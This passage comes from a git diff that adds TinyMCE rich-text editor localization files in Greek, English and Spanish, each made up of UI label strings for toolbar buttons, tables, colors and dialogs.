\u03b3\u03c1\u03b1\u03bc\u03bc\u03ae","delta_height":"","delta_width":""},emotions:{"emotions_desc":"\u03a3\u03c5\u03bd\u03b1\u03b9\u03c3\u03b8\u03ae\u03bc\u03b1\u03c4\u03b1","delta_height":"","delta_width":""},searchreplace:{"replace_desc":"\u0395\u03cd\u03c1\u03b5\u03c3\u03b7/\u0391\u03bd\u03c4\u03b9\u03ba\u03b1\u03c4\u03ac\u03c3\u03c4\u03b1\u03c3\u03b7","search_desc":"\u0395\u03cd\u03c1\u03b5\u03c3\u03b7","delta_width":"","delta_height":""},advimage:{"image_desc":"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae/\u03b5\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1 \u03b5\u03b9\u03ba\u03cc\u03bd\u03b1\u03c2","delta_width":"","delta_height":""},advlink:{"delta_width":"50","link_desc":"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae/\u03b5\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1 \u03c3\u03c5\u03bd\u03b4\u03ad\u03c3\u03bc\u03bf\u03c5","delta_height":""},xhtmlxtras:{"attribs_desc":"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae/\u03b5\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1 \u03b9\u03b4\u03b9\u03bf\u03c4\u03ae\u03c4\u03c9\u03bd","ins_desc":"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae","del_desc":"\u0394\u03b9\u03b1\u03b3\u03c1\u03b1\u03c6\u03ae","acronym_desc":"\u0391\u03ba\u03c1\u03bf\u03bd\u03cd\u03bc\u03b9\u03bf","abbr_desc":"\u03a3\u03c5\u03bd\u03c4\u03bf\u03bc\u03bf\u03b3\u03c1\u03b1\u03c6\u03af\u03b1","cite_desc":"Citation","attribs_delta_height":"","attribs_delta_width":"","ins_delta_height":"","ins_delta_width":"","del_delta_height":"","del_delta_width":"","acronym_delta_height":"","acronym_delta_width":"","abbr_delta_height":"","abbr_delta_width":"","cite_delta_height":"","cite_delta_width":""},style:{desc:"\u0395\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1 \u03a3\u03c4\u03c5\u03bb CSS","delta_height":"","delta_width":""},paste:{"selectall_desc":"\u0395\u03c0\u03b9\u03bb\u03bf\u03b3\u03ae \u03cc\u03bb\u03c9\u03bd","paste_word_desc":"\u0395\u03c0\u03b9\u03ba\u03cc\u03bb\u03bb\u03b7\u03c3\u03b7 \u03b1\u03c0\u03cc \u03c4\u03bf Word","paste_text_desc":"\u0395\u03c0\u03b9\u03ba\u03cc\u03bb\u03bb\u03b7\u03c3\u03b7 \u03c9\u03c2 \u03b1\u03c0\u03bb\u03cc \u03ba\u03b5\u03af\u03bc\u03b5\u03bd\u03bf","plaintext_mode":"Paste is now in plain text mode. Click again to toggle back to regular paste mode.","plaintext_mode_sticky":"Paste is now in plain text mode. Click again to toggle back to regular paste mode. After you paste something you will be returned to regular paste mode."},"paste_dlg":{"word_title":"\u03a7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03ae\u03c3\u03c4\u03b5 CTRL+V \u03b3\u03b9\u03b1 \u03bd\u03b1 \u03ba\u03ac\u03bd\u03b5\u03c4\u03b5 \u03b5\u03c0\u03b9\u03ba\u03cc\u03bb\u03bb\u03b7\u03c3\u03b7 \u03ba\u03b5\u03b9\u03bc\u03ad\u03bd\u03bf\u03c5 \u03c3\u03c4\u03bf \u03c0\u03b1\u03c1\u03ac\u03b8\u03c5\u03c1\u03bf.","text_linebreaks":"\u039d\u03b1 \u03ba\u03c1\u03b1\u03c4\u03b7\u03b8\u03bf\u03cd\u03bd \u03c4\u03b1 linebreaks","text_title":"\u03a7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03ae\u03c3\u03c4\u03b5 CTRL+V \u03b3\u03b9\u03b1 \u03bd\u03b1 \u03ba\u03ac\u03bd\u03b5\u03c4\u03b5 \u03b5\u03c0\u03b9\u03ba\u03cc\u03bb\u03bb\u03b7\u03c3\u03b7 \u03ba\u03b5\u03b9\u03bc\u03ad\u03bd\u03bf\u03c5 \u03c3\u03c4\u03bf \u03c0\u03b1\u03c1\u03ac\u03b8\u03c5\u03c1\u03bf."},table:{"cellprops_delta_width":"60",cell:"\u039a\u03b5\u03bb\u03af",col:"\u03a3\u03c4\u03ae\u03bb\u03b7",row:"\u0393\u03c1\u03b1\u03bc\u03bc\u03ae",del:"\u0394\u03b9\u03b1\u03b3\u03c1\u03b1\u03c6\u03ae \u03c0\u03af\u03bd\u03b1\u03ba\u03b1","copy_row_desc":"\u0391\u03bd\u03c4\u03b9\u03b3\u03c1\u03b1\u03c6\u03ae \u03b3\u03c1\u03b1\u03bc\u03bc\u03ae\u03c2 \u03c0\u03af\u03bd\u03b1\u03ba\u03b1","cut_row_desc":"\u0391\u03c0\u03bf\u03ba\u03bf\u03c0\u03ae \u03b3\u03c1\u03b1\u03bc\u03bc\u03ae\u03c2 \u03c0\u03af\u03bd\u03b1\u03ba\u03b1","paste_row_after_desc":"\u0395\u03c0\u03b9\u03ba\u03cc\u03bb\u03bb\u03b7\u03c3\u03b7 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ae\u03c2 \u03c0\u03af\u03bd\u03b1\u03ba\u03b1 \u03bc\u03b5\u03c4\u03ac","paste_row_before_desc":"\u0395\u03c0\u03b9\u03ba\u03cc\u03bb\u03bb\u03b7\u03c3\u03b7 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ae\u03c2 \u03c0\u03af\u03bd\u03b1\u03ba\u03b1 \u03c0\u03c1\u03b9\u03bd","props_desc":"\u0399\u03b4\u03b9\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2 \u03c0\u03af\u03bd\u03b1\u03ba\u03b1","cell_desc":"\u0399\u03b4\u03b9\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2 \u03ba\u03b5\u03bb\u03b9\u03bf\u03cd \u03c0\u03af\u03bd\u03b1\u03ba\u03b1","row_desc":"\u0399\u03b4\u03b9\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ae\u03c2 \u03c0\u03af\u03bd\u03b1\u03ba\u03b1","merge_cells_desc":"\u03a3\u03c5\u03b3\u03c7\u03ce\u03bd\u03b5\u03c5\u03c3\u03b7 \u03ba\u03b5\u03bb\u03b9\u03ce\u03bd \u03c0\u03af\u03bd\u03b1\u03ba\u03b1","split_cells_desc":"\u0394\u03b9\u03b1\u03c7\u03c9\u03c1\u03b9\u03c3\u03bc\u03cc\u03c2 \u03c3\u03c5\u03b3\u03c7\u03c9\u03bd\u03b5\u03c5\u03bc\u03ad\u03bd\u03c9\u03bd \u03ba\u03b5\u03bb\u03b9\u03ce\u03bd \u03c0\u03af\u03bd\u03b1\u03ba\u03b1","delete_col_desc":"\u0394\u03b9\u03b1\u03b3\u03c1\u03b1\u03c6\u03ae \u03c3\u03c4\u03ae\u03bb\u03b7\u03c2","col_after_desc":"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae \u03c3\u03c4\u03ae\u03bb\u03b7\u03c2 \u03bc\u03b5\u03c4\u03ac","col_before_desc":"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae \u03c3\u03c4\u03ae\u03bb\u03b7\u03c2 \u03c0\u03c1\u03b9\u03bd","delete_row_desc":"\u0394\u03b9\u03b1\u03b3\u03c1\u03b1\u03c6\u03ae \u03b3\u03c1\u03b1\u03bc\u03bc\u03ae\u03c2","row_after_desc":"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae \u03b3\u03c1\u03b1\u03bc\u03bc\u03ae\u03c2 \u03bc\u03b5\u03c4\u03ac","row_before_desc":"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae \u03b3\u03c1\u03b1\u03bc\u03bc\u03ae\u03c2 \u03c0\u03c1\u03b9\u03bd",desc:"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae \u03bd\u03ad\u03bf\u03c5 \u03c0\u03af\u03bd\u03b1\u03ba\u03b1","merge_cells_delta_height":"","merge_cells_delta_width":"","table_delta_height":"","table_delta_width":"","cellprops_delta_height":"","rowprops_delta_height":"","rowprops_delta_width":""},autosave:{"warning_message":"\u0395\u03ac\u03bd \u03b5\u03c0\u03b1\u03bd\u03b1\u03c6\u03ad\u03c1\u03b5\u03c4\u03b5 \u03c4\u03bf \u03b1\u03c0\u03bf\u03b8\u03b7\u03ba\u03b5\u03c5\u03bc\u03ad\u03bd\u03bf \u03c0\u03b5\u03c1\u03b9\u03b5\u03c7\u03cc\u03bc\u03b5\u03bd\u03bf, \u03b8\u03b1 \u03c7\u03ac\u03c3\u03b5\u03c4\u03b5 \u03c4\u03bf \u03c0\u03b5\u03c1\u03b9\u03b5\u03c7\u03cc\u03bc\u03b5\u03bd\u03bf \u03c0\u03bf\u03c5 \u03b2\u03c1\u03af\u03c3\u03ba\u03b5\u03c4\u03b1\u03b9 \u03b1\u03c5\u03c4\u03ae \u03c4\u03b7 \u03c3\u03c4\u03b9\u03b3\u03bc\u03ae \u03c3\u03c4\u03bf\u03bd editor.nn\u03a3\u03af\u03b3\u03bf\u03c5\u03c1\u03b1 \u03bd\u03b1 \u03b3\u03af\u03bd\u03b5\u03b9 \u03b5\u03c0\u03b1\u03bd\u03b1\u03c6\u03bf\u03c1\u03ac \u03c4\u03bf\u03c5 \u03b1\u03c0\u03bf\u03b8\u03b7\u03ba\u03b5\u03c5\u03bc\u03ad\u03bd\u03bf\u03c5 \u03c0\u03b5\u03c1\u03b9\u03b5\u03c7\u03bf\u03bc\u03ad\u03bd\u03bf\u03c5;.","restore_content":"\u0395\u03c0\u03b1\u03bd\u03b1\u03c6\u03bf\u03c1\u03ac \u03c0\u03b5\u03c1\u03b9\u03b5\u03c7\u03bf\u03bc\u03ad\u03bd\u03bf\u03c5 \u03c0\u03bf\u03c5 \u03b1\u03c0\u03bf\u03b8\u03b7\u03ba\u03b5\u03cd\u03b8\u03b7\u03ba\u03b5 \u03b1\u03c5\u03c4\u03cc\u03bc\u03b1\u03c4\u03b1.","unload_msg":"\u039f\u03b9 \u03b1\u03bb\u03bb\u03b1\u03b3\u03ad\u03c2 \u03c0\u03bf\u03c5 \u03ba\u03ac\u03bd\u03b1\u03c4\u03b5 \u03b8\u03b1 \u03c7\u03b1\u03b8\u03bf\u03cd\u03bd \u03b1\u03bd \u03c6\u03cd\u03b3\u03b5\u03c4\u03b5 \u03c3\u03b5 \u03ac\u03bb\u03bb\u03b7 \u03c3\u03b5\u03bb\u03af\u03b4\u03b1."},fullscreen:{desc:"\u0395\u03bd\u03b1\u03bb\u03bb\u03b1\u03b3\u03ae \u03c0\u03bb\u03ae\u03c1\u03bf\u03c5\u03c2 \u03bf\u03b8\u03cc\u03bd\u03b7\u03c2"},media:{"delta_width":"50",edit:"\u0395\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1 \u03b5\u03bd\u03c3\u03c9\u03bc\u03b1\u03c4\u03c9\u03bc\u03ad\u03bd\u03c9\u03bd media",desc:"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae/\u03b5\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1 \u03b5\u03bd\u03c3\u03c9\u03bc\u03b1\u03c4\u03c9\u03bc\u03ad\u03bd\u03c9\u03bd media","delta_height":""},fullpage:{desc:"\u0399\u03b4\u03b9\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2 \u03b5\u03b3\u03b3\u03c1\u03ac\u03c6\u03bf\u03c5","delta_width":"140","delta_height":""},template:{desc:"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae \u03c0\u03b5\u03c1\u03b9\u03b5\u03c7\u03bf\u03bc\u03ad\u03bd\u03bf\u03c5 \u03b3\u03b9\u03b1 \u03c0\u03c1\u03bf\u03ba\u03b1\u03b8\u03bf\u03c1\u03b9\u03c3\u03bc\u03ad\u03bd\u03bf \u03c0\u03c1\u03cc\u03c4\u03c5\u03c0\u03bf"},visualchars:{desc:"\u039f\u03c0\u03c4\u03b9\u03ba\u03bf\u03af \u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03ae\u03c1\u03b5\u03c2 \u03b5\u03bb\u03ad\u03b3\u03c7\u03bf\u03c5 \u03bd\u03b1\u03b9/\u03cc\u03c7\u03b9."},spellchecker:{desc:"\u0395\u03bd\u03b1\u03bb\u03bb\u03b1\u03b3\u03ae \u03bf\u03c1\u03b8\u03bf\u03b3\u03c1\u03b1\u03c6\u03b9\u03ba\u03bf\u03cd \u03b5\u03bb\u03ad\u03b3\u03c7\u03bf\u03c5",menu:"\u03a1\u03c5\u03b8\u03bc\u03af\u03c3\u03b5\u03b9\u03c2 \u03bf\u03c1\u03b8\u03bf\u03b3\u03c1\u03b1\u03c6\u03b9\u03ba\u03bf\u03cd \u03b5\u03bb\u03ad\u03b3\u03c7\u03bf\u03c5","ignore_word":"\u03a0\u03b1\u03c1\u03ac\u03b2\u03bb\u03b5\u03c8\u03b7 \u03bb\u03ad\u03be\u03b7\u03c2","ignore_words":"\u03a0\u03b1\u03c1\u03ac\u03b2\u03bb\u03b5\u03c8\u03b7 \u03cc\u03bb\u03c9\u03bd",langs:"\u0393\u03bb\u03ce\u03c3\u03c3\u03b5\u03c2",wait:"\u03a0\u03b1\u03c1\u03b1\u03ba\u03b1\u03bb\u03ce \u03c0\u03b5\u03c1\u03b9\u03bc\u03ad\u03bd\u03b5\u03c4\u03b5...",sug:"\u03a0\u03c1\u03bf\u03c4\u03ac\u03c3\u03b5\u03b9\u03c2","no_sug":"\u03a7\u03c9\u03c1\u03af\u03c2 \u03c0\u03c1\u03bf\u03c4\u03ac\u03c3\u03b5\u03b9\u03c2","no_mpell":"\u0394\u03b5 \u03b2\u03c1\u03ad\u03b8\u03b7\u03ba\u03b1\u03bd \u03bf\u03c1\u03b8\u03bf\u03b3\u03c1\u03b1\u03c6\u03b9\u03ba\u03ac \u03bb\u03ac\u03b8\u03b7.","learn_word":"\u0395\u03ba\u03bc\u03ac\u03b8\u03b7\u03c3\u03b7 \u03bb\u03ad\u03be\u03b7\u03c2"},pagebreak:{desc:"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae \u03b1\u03bb\u03bb\u03b1\u03b3\u03ae\u03c2 \u03c3\u03b5\u03bb\u03af\u03b4\u03b1\u03c2."},advlist:{types:"Types",def:"Default","lower_alpha":"Lower Alpha","lower_greek":"Lower Greek","lower_roman":"Lower Roman","upper_alpha":"Upper Alpha","upper_roman":"Upper Roman",circle:"Circle",disc:"Disc",square:"Square"},colors:{"000000":"\u039c\u03b1\u03cd\u03c1\u03bf",FF6600:"\u03a0\u03bf\u03c1\u03c4\u03bf\u03ba\u03b1\u03bb\u03af","008000":"\u03a0\u03c1\u03ac\u03c3\u03b9\u03bd\u03bf","0000FF":"\u039c\u03c0\u03bb\u03ad","808080":"\u0393\u03ba\u03c1\u03af",FF0000:"\u039a\u03cc\u03ba\u03ba\u03b9\u03bd\u03bf","800080":"\u039c\u03ce\u03b2",FFCC00:"\u03a7\u03c1\u03c5\u03c3\u03cc",FFFF00:"\u039a\u03af\u03c4\u03c1\u03b9\u03bd\u03bf","993366":"\u039a\u03b1\u03c6\u03ad",C0C0C0:"\u0391\u03c3\u03b9\u03bc\u03ad\u03bd\u03b9\u03bf",FF99CC:"\u03a1\u03cc\u03b6",FFFFFF:"\u0386\u03c3\u03c0\u03c1\u03bf","333300":"Dark olive","993300":"Burnt orange","003300":"Dark green","003366":"Dark azure","000080":"Navy Blue","333399":"Indigo","333333":"Very dark gray","800000":"Maroon","808000":"Olive","008080":"Teal","666699":"Grayish blue",FF9900:"Amber","99CC00":"Yellow green","339966":"Sea green","33CCCC":"Turquoise","3366FF":"Royal blue","999999":"Medium gray",FF00FF:"Magenta","00FF00":"Lime","00FFFF":"Aqua","00CCFF":"Sky blue",FFCC99:"Peach",FFFF99:"Light yellow",CCFFCC:"Pale green",CCFFFF:"Pale cyan","99CCFF":"Light sky blue",CC99FF:"Plum"},aria:{"rich_text_area":"Rich Text Area"},wordcount:{words:"\u039b\u03ad\u03be\u03b5\u03b9\u03c2:"}}}); \ No newline at end of file diff --git a/js/tiny_mce/langs/en.js b/js/tiny_mce/langs/en.js new file mode 100755 index 0000000..16d7a93 --- /dev/null +++ b/js/tiny_mce/langs/en.js @@ -0,0 +1 @@ +tinyMCE.addI18n({en:{common:{"more_colors":"More Colors...","invalid_data":"Error: Invalid values entered, these are marked in red.","popup_blocked":"Sorry, but we have noticed that your popup-blocker has disabled a window that provides application functionality. You will need to disable popup blocking on this site in order to fully utilize this tool.","clipboard_no_support":"Currently not supported by your browser, use keyboard shortcuts instead.","clipboard_msg":"Copy/Cut/Paste is not available in Mozilla and Firefox.\nDo you want more information about this issue?","not_set":"-- Not Set --","class_name":"Class",browse:"Browse",close:"Close",cancel:"Cancel",update:"Update",insert:"Insert",apply:"Apply","edit_confirm":"Do you want to use the WYSIWYG mode for this textarea?","invalid_data_number":"{#field} must be a number","invalid_data_min":"{#field} must be a number greater than {#min}","invalid_data_size":"{#field} must be a number or percentage",value:"(value)"},contextmenu:{full:"Full",right:"Right",center:"Center",left:"Left",align:"Alignment"},insertdatetime:{"day_short":"Sun,Mon,Tue,Wed,Thu,Fri,Sat,Sun","day_long":"Sunday,Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday","months_short":"Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec","months_long":"January,February,March,April,May,June,July,August,September,October,November,December","inserttime_desc":"Insert Time","insertdate_desc":"Insert Date","time_fmt":"%H:%M:%S","date_fmt":"%Y-%m-%d"},print:{"print_desc":"Print"},preview:{"preview_desc":"Preview"},directionality:{"rtl_desc":"Direction Right to Left","ltr_desc":"Direction Left to Right"},layer:{content:"New layer...","absolute_desc":"Toggle Absolute Positioning","backward_desc":"Move Backward","forward_desc":"Move Forward","insertlayer_desc":"Insert New Layer"},save:{"save_desc":"Save","cancel_desc":"Cancel All Changes"},nonbreaking:{"nonbreaking_desc":"Insert Non-Breaking Space Character"},iespell:{download:"ieSpell not detected. Do you want to install it now?","iespell_desc":"Check Spelling"},advhr:{"delta_height":"","delta_width":"","advhr_desc":"Insert Horizontal Line"},emotions:{"delta_height":"","delta_width":"","emotions_desc":"Emotions"},searchreplace:{"replace_desc":"Find/Replace","delta_width":"","delta_height":"","search_desc":"Find"},advimage:{"delta_width":"","image_desc":"Insert/Edit Image","delta_height":""},advlink:{"delta_height":"","delta_width":"","link_desc":"Insert/Edit Link"},xhtmlxtras:{"attribs_delta_height":"","attribs_delta_width":"","ins_delta_height":"","ins_delta_width":"","del_delta_height":"","del_delta_width":"","acronym_delta_height":"","acronym_delta_width":"","abbr_delta_height":"","abbr_delta_width":"","cite_delta_height":"","cite_delta_width":"","attribs_desc":"Insert/Edit Attributes","ins_desc":"Insertion","del_desc":"Deletion","acronym_desc":"Acronym","abbr_desc":"Abbreviation","cite_desc":"Citation"},style:{"delta_height":"","delta_width":"",desc:"Edit CSS Style"},paste:{"plaintext_mode":"Paste is now in plain text mode. Click again to toggle back to regular paste mode.","plaintext_mode_sticky":"Paste is now in plain text mode. Click again to toggle back to regular paste mode. After you paste something you will be returned to regular paste mode.","selectall_desc":"Select All","paste_word_desc":"Paste from Word","paste_text_desc":"Paste as Plain Text"},"paste_dlg":{"word_title":"Use Ctrl+V on your keyboard to paste the text into the window.","text_linebreaks":"Keep Linebreaks","text_title":"Use Ctrl+V on your keyboard to paste the text into the window."},table:{"merge_cells_delta_height":"","merge_cells_delta_width":"","table_delta_height":"","table_delta_width":"","cellprops_delta_height":"","cellprops_delta_width":"","rowprops_delta_height":"","rowprops_delta_width":"",cell:"Cell",col:"Column",row:"Row",del:"Delete Table","copy_row_desc":"Copy Table Row","cut_row_desc":"Cut Table Row","paste_row_after_desc":"Paste Table Row After","paste_row_before_desc":"Paste Table Row Before","props_desc":"Table Properties","cell_desc":"Table Cell Properties","row_desc":"Table Row Properties","merge_cells_desc":"Merge Table Cells","split_cells_desc":"Split Merged Table Cells","delete_col_desc":"Delete Column","col_after_desc":"Insert Column After","col_before_desc":"Insert Column Before","delete_row_desc":"Delete Row","row_after_desc":"Insert Row After","row_before_desc":"Insert Row Before",desc:"Insert/Edit Table"},autosave:{"warning_message":"If you restore the saved content, you will lose all the content that is currently in the editor.\n\nAre you sure you want to restore the saved content?","restore_content":"Restore auto-saved content.","unload_msg":"The changes you made will be lost if you navigate away from this page."},fullscreen:{desc:"Toggle Full Screen Mode"},media:{"delta_height":"","delta_width":"",edit:"Edit Embedded Media",desc:"Insert/Edit Embedded Media"},fullpage:{desc:"Document Properties","delta_width":"","delta_height":""},template:{desc:"Insert Predefined Template Content"},visualchars:{desc:"Show/Hide Visual Control Characters"},spellchecker:{desc:"Toggle Spell Checker",menu:"Spell Checker Settings","ignore_word":"Ignore Word","ignore_words":"Ignore All",langs:"Languages",wait:"Please wait...",sug:"Suggestions","no_sug":"No Suggestions","no_mpell":"No misspellings found.","learn_word":"Learn word"},pagebreak:{desc:"Insert Page Break for Printing"},advlist:{types:"Types",def:"Default","lower_alpha":"Lower Alpha","lower_greek":"Lower Greek","lower_roman":"Lower Roman","upper_alpha":"Upper Alpha","upper_roman":"Upper Roman",circle:"Circle",disc:"Disc",square:"Square"},colors:{"333300":"Dark olive","993300":"Burnt orange","000000":"Black","003300":"Dark green","003366":"Dark azure","000080":"Navy Blue","333399":"Indigo","333333":"Very dark gray","800000":"Maroon",FF6600:"Orange","808000":"Olive","008000":"Green","008080":"Teal","0000FF":"Blue","666699":"Grayish blue","808080":"Gray",FF0000:"Red",FF9900:"Amber","99CC00":"Yellow green","339966":"Sea green","33CCCC":"Turquoise","3366FF":"Royal blue","800080":"Purple","999999":"Medium gray",FF00FF:"Magenta",FFCC00:"Gold",FFFF00:"Yellow","00FF00":"Lime","00FFFF":"Aqua","00CCFF":"Sky blue","993366":"Brown",C0C0C0:"Silver",FF99CC:"Pink",FFCC99:"Peach",FFFF99:"Light yellow",CCFFCC:"Pale green",CCFFFF:"Pale cyan","99CCFF":"Light sky blue",CC99FF:"Plum",FFFFFF:"White"},aria:{"rich_text_area":"Rich Text Area"},wordcount:{words:"Words:"}}}); \ No newline at end of file diff --git a/js/tiny_mce/langs/es.js b/js/tiny_mce/langs/es.js new file mode 100755 index 0000000..266022a --- /dev/null +++ b/js/tiny_mce/langs/es.js @@ -0,0 +1 @@ +tinyMCE.addI18n({es:{common:{"more_colors":"M\u00e1s colores","invalid_data":"Error: Introdujo un valor no v\u00e1lido, est\u00e1n marcados en rojo.","popup_blocked":"Lo sentimos, su bloqueo de ventanas emergentes ha deshabilitado una ventana que provee funcionalidades a la aplicaci\u00f3n. Necesita deshabilitar este bloqueo en este sitio para poder utilizar todas las funciones.","clipboard_no_support":"Su navegador no soporta las funciones de cortapapeles, use los accesos por teclado.","clipboard_msg":"Copiar/Cortar/Pegar no se encuentra disponible en Mozilla y Firefox.\n \u00bfDesea obtener m\u00e1s informaci\u00f3n acerca de este tema?","not_set":"-- Ninguno --","class_name":"Clase",browse:"Examinar",close:"Cerrar",cancel:"Cancelar",update:"Actualizar",insert:"Insertar",apply:"Aplicar","edit_confirm":" \u00bfDesea utilizar el modo WYSIWYG para esta caja de texto?","invalid_data_number":"{#field} debe ser un n\u00famero","invalid_data_min":"{#field} debe ser un n\u00famero mayor que {#min}","invalid_data_size":"{#field} debe ser un n\u00famero o tanto por ciento",value:"(valor)"},contextmenu:{full:"Justificado",right:"Derecha",center:"Centrado",left:"Izquierda",align:"Alineaci\u00f3n"},insertdatetime:{"day_short":"Dom,Lun,Mar,Mie,Jue,Vie,Sab,Dom","day_long":"Domingo,Lunes,Martes,Mi\u00e9rcoles,Jueves,Viernes,S\u00e1bado,Domingo","months_short":"Ene,Feb,Mar,Abr,May,Jun,Jul,Ago,Sep,Oct,Nov,Dic","months_long":"Enero,Febrero,Marzo,Abril,Mayo,Junio,Julio,Agosto,Septiembre,Octubre,Noviembre,Diciembre","inserttime_desc":"Insertar hora","insertdate_desc":"Insertar fecha","time_fmt":"%H:%M:%S","date_fmt":"%d-%m-%Y"},print:{"print_desc":"Imprimir"},preview:{"preview_desc":"Vista previa"},directionality:{"rtl_desc":"Direcci\u00f3n derecha a izquierda","ltr_desc":"Direcci\u00f3n izquierda a derecha"},layer:{content:"Nueva capa...","absolute_desc":"Cambiar a posici\u00f3n absoluta","backward_desc":"Retroceder","forward_desc":"Avanzar","insertlayer_desc":"Insertar nueva capa"},save:{"save_desc":"Guardar","cancel_desc":"Cancelar todos los cambios"},nonbreaking:{"nonbreaking_desc":"Insertar caracter de espacio \'non-breaking\'"},iespell:{download:"No se detect\u00f3 \'ieSpell\'. \u00bfDesea instalarlo ahora?","iespell_desc":"Corrector ortogr\u00e1fico"},advhr:{"advhr_desc":"Regla horizontal","delta_height":"","delta_width":""},emotions:{"emotions_desc":"Emoticones","delta_height":"","delta_width":""},searchreplace:{"replace_desc":"Buscar/Reemplazar","search_desc":"Buscar","delta_width":"","delta_height":""},advimage:{"image_desc":"Insertar/editar imagen","delta_width":"","delta_height":""},advlink:{"link_desc":"Insertar/editar hiperv\u00ednculo","delta_height":"","delta_width":""},xhtmlxtras:{"attribs_desc":"Insertar/Editar atributos","ins_desc":"Inserci\u00f3n","del_desc":"Borrado","acronym_desc":"Acr\u00f3nimo","abbr_desc":"Abreviatura","cite_desc":"Cita","attribs_delta_height":"","attribs_delta_width":"","ins_delta_height":"","ins_delta_width":"","del_delta_height":"","del_delta_width":"","acronym_delta_height":"","acronym_delta_width":"","abbr_delta_height":"","abbr_delta_width":"","cite_delta_height":"","cite_delta_width":""},style:{desc:"Editar Estilo CSS","delta_height":"","delta_width":""},paste:{"plaintext_mode":"Paste is now in plain text mode. Click again to toggle back to regular paste mode.","plaintext_mode_sticky":"Paste is now in plain text mode. Click again to toggle back to regular paste mode. After you paste something you will be returned to regular paste mode.","selectall_desc":"Elegir todo","paste_word_desc":"Pegar desde Word","paste_text_desc":"Pegar como texto plano"},"paste_dlg":{"word_title":"Use CTRL+V en su teclado para pegar el texto en la ventana.","text_linebreaks":"Keep linebreaks","text_title":"Use CTRL+V en su teclado para pegar el texto en la ventana."},table:{cell:"Celda",col:"Columna",row:"Fila",del:"Eliminar tabla","copy_row_desc":"Copiar fila","cut_row_desc":"Cortar fila","paste_row_after_desc":"Pegar filas (despu\u00e9s)","paste_row_before_desc":"Pegar filas (antes)","props_desc":"Propiedades de la tabla","cell_desc":"Propiedades de la celda","row_desc":"Propiedades de la fila","merge_cells_desc":"Vincular celdas","split_cells_desc":"Dividir celdas","delete_col_desc":"Suprimir columna","col_after_desc":"Insertar columna (despu\u00e9s)","col_before_desc":"Insertar columna (antes)","delete_row_desc":"Suprimir fila","row_after_desc":"Insertar fila (despu\u00e9s)","row_before_desc":"Insertar fila (antes)",desc:"Inserta una nueva tabla","merge_cells_delta_height":"","merge_cells_delta_width":"","table_delta_height":"","table_delta_width":"","cellprops_delta_height":"","cellprops_delta_width":"","rowprops_delta_height":"","rowprops_delta_width":""},autosave:{"warning_message":"Se reestablece en contenido guardado, perder\u00e1 todo el contenido que est\u00e1 actualmente en el editor.\n\nEst\u00e1 seguro de que quiere reestablecer el contenido guardado.","restore_content":"Reestablecer contenido guardado autom\u00e1ticamente","unload_msg":"Los cambios realizados se perder\u00e1n si sale de esta p\u00e1gina."},fullscreen:{desc:"Cambiar a modo Pantalla Completa"},media:{edit:"Editar medio embebido",desc:"Insertar/editar medio embebido","delta_height":"","delta_width":""},fullpage:{desc:"Propiedades del documento","delta_width":"Ancho","delta_height":"Alto"},template:{desc:"Insertar contenido de plantilla predefinida"},visualchars:{desc:"Caracteres de control ON/OFF."},spellchecker:{desc:"Cambiar a corrector ortogr\u00e1fico",menu:"Configuraci\u00f3n de corrector ortogr\u00e1fico","ignore_word":"Ignorar","ignore_words":"Ignorar todo",langs:"Idiomas",wait:"Espere...",sug:"Sugerencias","no_sug":"Sin sugerencias","no_mpell":"No se encontraron errores.","learn_word":"Aprender palabra"},pagebreak:{desc:"Insertar fin de p\u00e1gina"},advlist:{types:"Tipo",def:"Preestablecido","lower_alpha":"Menos opaco","lower_greek":"Menos greek","lower_roman":"Menos roman","upper_alpha":"M\u00e1s opaco","upper_roman":"M\u00e1s roman",circle:"Circulo",disc:"Disc",square:"Cuadro"},colors:{"333300":"Verde Oliva","993300":"Naranja Oscuro","000000":"Negro","003300":"Verde Oscuro","003366":"Azul Celeste Oscuro","000080":"Azul Navy","333399":"Indigo","333333":"Verde Muy Oscuro","800000":"Marr\u00f3n",FF6600:"Naranja","808000":"Aceituna","008000":"Verde","008080":"Verde Azulado","0000FF":"Azul","666699":"Azul gris\u00e1ceo","808080":"Gris",FF0000:"Rojo",FF9900:"\u00c1mbar","99CC00":"Verde Amarillento","339966":"Verde Oc\u00e9ano","33CCCC":"Turquesa","3366FF":"Azul Royale","800080":"P\u00farpura","999999":"Gris Medio",FF00FF:"Magenta",FFCC00:"Dorado",FFFF00:"Amarillo","00FF00":"Lima","00FFFF":"Agua","00CCFF":"Azul 